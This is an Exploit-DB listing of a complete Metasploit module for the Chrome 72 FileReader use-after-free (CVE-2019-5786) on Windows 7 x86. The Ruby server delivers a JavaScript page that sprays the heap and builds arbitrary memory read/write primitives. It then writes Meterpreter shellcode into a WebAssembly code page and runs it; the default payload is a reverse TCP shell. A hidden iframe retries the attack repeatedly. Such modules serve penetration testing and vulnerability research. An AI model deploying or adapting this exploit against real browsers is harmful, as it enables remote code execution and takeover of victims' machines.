Google Chrome 72.0.3626.119 - 'FileReader' Use-After-Free (Metasploit)

EDB-ID:

46812


Platform:

Windows_x86

Published:

2019-05-08

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86',
      'Description'    => %q{
        This exploit takes advantage of a use after free vulnerability in Google
      Chrome 72.0.3626.119 running on Windows 7 x86.
        The FileReader.readAsArrayBuffer function can return multiple references to the
      same ArrayBuffer object, which can be freed and overwritten with sprayed objects.
      The dangling ArrayBuffer reference can be used to access the sprayed objects,
      allowing arbitrary memory access from Javascript. This is used to write and
      execute shellcode in a WebAssembly object.
        The shellcode is executed within the Chrome sandbox, so you must explicitly
      disable the sandbox for the payload to be successful.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Clement Lecigne', # discovery
          'István Kurucsai', # Exodus Intel
          'timwr',           # metasploit module
        ],
      'References'     => [
          ['CVE', '2019-5786'],
          ['URL', 'https://github.com/exodusintel/CVE-2019-5786'],
          ['URL', 'https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/'],
          ['URL', 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/'],
          ['URL', 'https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html'],
        ],
      'Arch'           => [ ARCH_X86 ],
      'Platform'       => 'windows',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => 'Mar 21 2019'))
  end

  def on_request_uri(cli, request)
    print_status("Sending #{request.uri}")
    if request.uri =~ %r{/exploit.html$}
      html = %Q^
<html>
    <head>
        <script>
let myWorker = new Worker('worker.js');
let reader = null;
spray = null;               // nested arrays used to hold the sprayed heap contents
let onprogress_cnt = 0;     // number of times onprogress was called in a round
let try_cnt = 0;            // number of rounds we tried
let last = 0, lastlast = 0; // last two AB results from the read
let tarray = 0;             // TypedArray constructed from the dangling ArrayBuffer
const string_size = 128 * 1024 * 1024;
let contents = String.prototype.repeat.call('Z', string_size);
let f = new File([contents], "text.txt");
const marker1 = 0x36313233;
const marker2 = 0x37414546;

const outers = 256;
const inners = 1024;

function allocate_spray_holders() {
    spray = new Array(outers);
    for (let i = 0; i < outers; i++) {
        spray[i] = new Array(inners);
    }
}

function clear_spray() {
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j < inners; j++) {
            spray[i][j] = null;
        }
    }
}

function reclaim_mixed() {
    // spray the heap to reclaim the freed region
    let tmp = {};
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            spray[i][j] = {a: marker1, b: marker2, c: tmp};
            spray[i][j].c = spray[i][j]     // self-reference to find our absolute address
            spray[i][j+1] = new Array(8);
            spray[i][j+2] = new Uint32Array(32);
        }
    }
}

function find_pattern() {
    const start_offset = 0x00afc000 / 4;
    for (let i = start_offset; i + 1 < string_size / 4; i++) {
        if (i < 50){
            console.log(tarray[i].toString(16));
        }
        // multiply by two because of the way SMIs are stored
        if (tarray[i] == marker1 * 2) {
            if (tarray[i+1] == marker2 * 2) {
                console.log(`found possible candidate objectat idx ${i}`);
                return i;
            }
        }
    }
    return null;
}


function get_obj_idx(prop_idx) {
    // find the index of the Object in the spray array
    tarray[prop_idx] = 0x62626262;
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j < inners; j+=1) {
            try {
                if (spray[i][j].a == 0x31313131) {
                    console.log(`found object idx in the spray array: ${i} ${j}`);
                    return spray[i][j];
                }
            } catch (e) {}
        }
    }
}

function ta_read(addr) {
    // reads an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) {
        return tarray[(addr-ta_absolute_addr)/4];
    }

    return 0;
}

function ta_write(addr, value) {
    // wrtie to an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr % 4 || value > 2**32 - 1 ||
        addr < ta_absolute_addr ||
        addr > ta_absolute_addr + string_size) {
        console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`);
    }
    tarray[(addr-ta_absolute_addr)/4] = value;
}

function get_corruptable_ui32a() {
    // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            let ui32a_addr = addrof(spray[i][j+2]) - 1;
            let bs_addr = ta_read(ui32a_addr + 12) - 1;
            let elements_addr = ta_read(ui32a_addr + 8) - 1;
            // read its elements pointer
            // if the elements ptr lies inside the region we have access to
            if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size &&
                elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) {
                console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`);
                return {
                    bs_addr: bs_addr,
                    elements_addr: elements_addr,
                    ui32: spray[i][j+2],
                    i: i, j: j
                }
            }
        }
    }
}

var reader_obj = null;
var object_prop_taidx = null;
var ta_absolute_addr = null;
var aarw_ui32 = null;

function addrof(leaked_obj) {
    reader_obj.a = leaked_obj;
    return tarray[object_prop_taidx];
}


function read4(addr) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr);
    ta_write(aarw_ui32.bs_addr + 16, addr);

    let val = aarw_ui32.ui32[0];

    ta_write(aarw_ui32.elements_addr + 12, tmp1);
    ta_write(aarw_ui32.bs_addr + 16, tmp2);

    return val;
}

function write4(addr, val) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr);
    ta_write(aarw_ui32.bs_addr + 16, addr);

    aarw_ui32.ui32[0] = val;

    ta_write(aarw_ui32.elements_addr + 12, tmp1);
    ta_write(aarw_ui32.bs_addr + 16, tmp2);
}

function get_rw() {
    // free up as much memory as possible
    // spray = null;
    // contents = null;
    force_gc();

    // attepmt reclaiming the memory pointed to by dangling pointer
    reclaim_mixed();

    // access the reclaimed region as a Uint32Array
    tarray = new Uint32Array(lastlast);
    object_prop_taidx = find_pattern();
    if (object_prop_taidx === null) {
        console.log('ERROR> failed to find marker');
        window.top.postMessage(`ERROR> failed to find marker`, '*');
        return;
    }

    // leak the absolute address of the Object
    const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1;  // the third property of the sprayed Object is self-referential
    ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4
    console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`);
    console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`);

    reader_obj = get_obj_idx(object_prop_taidx);
    if (reader_obj == undefined) {
        console.log(`ERROR> failed to find object`);
        window.top.postMessage(`ERROR> failed to find object`, '*');
        return;
    }
    // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of tarray

    console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`);
    aarw_ui32 = get_corruptable_ui32a();
    // arbitrary read write up after this point
}

var wfunc = null;
let meterpreter = unescape("#{Rex::Text.to_unescape(payload.encoded)}");

function rce() {
    function get_wasm_func() {
        var importObject = {
            imports: { imported_func: arg => console.log(arg) }
        };
        bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
        wasm_code = new Uint8Array(bc);
        wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
        return wasm_mod.exports.exported_func;
    }

    let wasm_func = get_wasm_func();
    wfunc = wasm_func;
    // traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func) - 1;
    let sfi = read4(wasm_func_addr + 12) - 1;
    let WasmExportedFunctionData = read4(sfi + 4) - 1;
    let instance = read4(WasmExportedFunctionData + 8) - 1;
    let rwx_addr = read4(instance + 0x74);

    // write the shellcode to the RWX page
    if (meterpreter.length % 2 != 0)
        meterpreter += "\\u9090";

    for (let i = 0; i < meterpreter.length; i += 2) {
        write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000);
    }

    // if we got to this point, the exploit was successful
    window.top.postMessage('SUCCESS', '*');
    console.log('success');
    wfunc();

    // invoke the shellcode
    //window.setTimeout(wfunc, 1000);
}

function force_gc() {
    // forces a garbage collection to avoid OOM kills
    try {
        var failure = new WebAssembly.Memory({initial: 32767});
    } catch(e) {
        // console.log(e.message);
    }
}

function init() {
    abs = [];
    tarray = 0;
    onprogress_cnt = 0;
    try_cnt = 0;
    last = 0, lastlast = 0;
    reader = new FileReader();

    reader.onloadend = function(evt) {
        try_cnt += 1;
        failure = false;
        if (onprogress_cnt < 2) {
            console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`);
            failure = true;
        }

        if (lastlast.byteLength != f.size) {
            console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`);
            failure = true;
        }

        if (failure === true) {
            console.log('retrying in 1 second');
            window.setTimeout(exploit, 1);
            return;
        }

        console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`);
        try {
            // trigger the FREE
            myWorker.postMessage([last], [last, lastlast]);
        } catch(e) {
            // an exception with this message indicates that the FREE part of the exploit was successful
            if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) {
                get_rw();
                rce();
                return;
            } else {
                console.log(e.message);
            }
        }
    }
    reader.onprogress = function(evt) {
        force_gc();
        let res = evt.target.result;
        // console.log(`onprogress ${onprogress_cnt}`);
        onprogress_cnt += 1;
        if (res.byteLength != f.size) {
            // console.log(`result has a different size than expected: ${res.byteLength}`);
            return;
        }
        lastlast = last;
        last = res;
    }
    if (spray === null) {
        // allocate the spray holders if needed
        allocate_spray_holders();
    }

    // clear the spray holder arrays
    clear_spray();

    // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit
    try {
        let failure = new ArrayBuffer(1024 * 1024 * 1024);
    } catch (e) {
        console.log(e.message);
    }

    force_gc();
}

function exploit() {
    init();
    reader.readAsArrayBuffer(f);
    console.log(`attempt ${try_cnt} started`);
}
        </script>
    </head>
    <body onload="exploit()">
    </body>
</html>
    ^
      send_response(cli, html)
    elsif request.uri =~ %r{/worker.js$}
      send_response(cli, 'onmessage = function (msg) { }')
    else
      uripath = datastore['URIPATH'] || get_resource
      uripath += '/' unless uripath.end_with? '/'
      html = %Q^
<html>
    <head>
        <script>
            function iter() {
                let iframe = null;
                try {
                    iframe = document.getElementById('myframe');
                    document.body.removeChild(iframe);
                } catch (e) {}

                iframe = document.createElement('iframe');
                iframe.src = '#{uripath}exploit.html';
                iframe.id = 'myframe';
                iframe.style = "width:0; height:0; border:0; border:none; visibility=hidden"
                document.body.appendChild(iframe);
                console.log(document.getElementById('myframe'));
            }

            function brute() {
                window.setTimeout(iter, 1000);
                let interval = window.setInterval(iter, 15000);

                window.onmessage = function(e) {
                    if (e.data.includes('SUCCESS')) {
                        console.log('exploit successful!');
                        window.clearInterval(interval);
                    }
                    console.log(e);
                }
            }
        </script>
    </head>
    <body onload="brute()"></body>
</html>
    ^
      send_response(cli, html)
    end
  end

end